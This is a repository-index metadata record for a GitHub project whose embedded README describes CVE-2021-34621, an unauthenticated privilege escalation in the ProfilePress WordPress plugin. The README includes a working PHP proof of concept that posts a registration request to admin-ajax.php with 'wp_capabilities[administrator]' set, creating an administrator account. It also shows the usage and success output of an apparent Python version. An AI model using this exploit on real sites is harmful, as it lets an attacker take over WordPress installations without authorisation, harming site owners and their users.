{"id":21125728,"url":"https://github.com/randomrobbiebf/cve-2021-34621","last_synced_at":"2026-05-21T10:07:06.380Z","repository":{"id":187220283,"uuid":"676520078","full_name":"RandomRobbieBF/CVE-2021-34621","owner":"RandomRobbieBF","description":"ProfilePress 3.0 - 3.1.3 - Unauthenticated Privilege Escalation","archived":false,"fork":false,"pushed_at":"2023-08-09T11:45:32.000Z","size":17,"stargazers_count":0,"open_issues_count":0,"forks_count":1,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-01-21T05:41:43.931Z","etag":null,"topics":["cve-2021-34621","wordpress","wordpress-exploit"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/RandomRobbieBF.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-08-09T11:41:56.000Z","updated_at":"2024-08-12T20:32:24.000Z","dependencies_parsed_at":null,"dependency_job_id":"270dec3d-ee5c-4f5d-908a-b761c22d0853","html_url":"https://github.com/RandomRobbieBF/CVE-2021-34621","commit_stats":null,"previous_names":["randomrobbiebf/cve-2021-34621"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2021-34621","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2021-34621/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2021-34621/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/RandomRobbieBF%2FCVE-2021-34621/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/RandomRobbieBF","download_url":"https://codeload.github.com/RandomRobbieBF/CVE-2021-34621/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243573166,"owners_count":20312879,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2021-34621","wordpress","wordpress-exploit"],"created_at":"2024-11-20T04:36:36.169Z","updated_at":"2026-05-21T10:07:01.340Z","avatar_url":"https://github.com/RandomRobbieBF.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2021-34621\nProfilePress 3.0 - 3.1.3 - Unauthenticated Privilege Escalation\n\n# Description\nThe user registration functionality of the plugin allowed arbitrary user meta to be supplied, including wp_capabilities, during registration which made it possible for users to register as an administrator. \n\n# POC\n```\n\n\u003c?php\n// Settings\n\n$wp_url = $argv[1];\n// Update Settings\n$ch = curl_init();\ncurl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\ncurl_setopt($ch, CURLOPT_POST, true);\ncurl_setopt($ch, CURLOPT_POSTFIELDS, [\n    'reg_username' =\u003e 'Hax0r',\n    'reg_email' =\u003e 'Hax0r@Hax0r.com',\n    'reg_password' =\u003e 'password',\n    'reg_password_present' =\u003e 'true',\n    'reg_first_name' =\u003e 'Hax0r',\n    'reg_last_name' =\u003e 'Hax0r',\n    'wp_capabilities[administrator]' =\u003e '1',\n    'action' =\u003e 'pp_ajax_signup',\n    'melange_id' =\u003e ''\n\n]);\n\n$output = curl_exec($ch);\ncurl_close($ch);\nprint_r($output);\n```\n\nScript Usage\n---\n\n```\n$ python3 CVE-2021-34621.py --url http://wordpress.lan --username test2 --email test2@test.com --password test\n{\"message\":\"\u003cdiv class=\\\"profilepress-reg-status success\\\"\u003eRegistration successful.\u003c\\/div\u003e\"}\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2021-34621","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frandomrobbiebf%2Fcve-2021-34621","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frandomrobbiebf%2Fcve-2021-34621/lists"}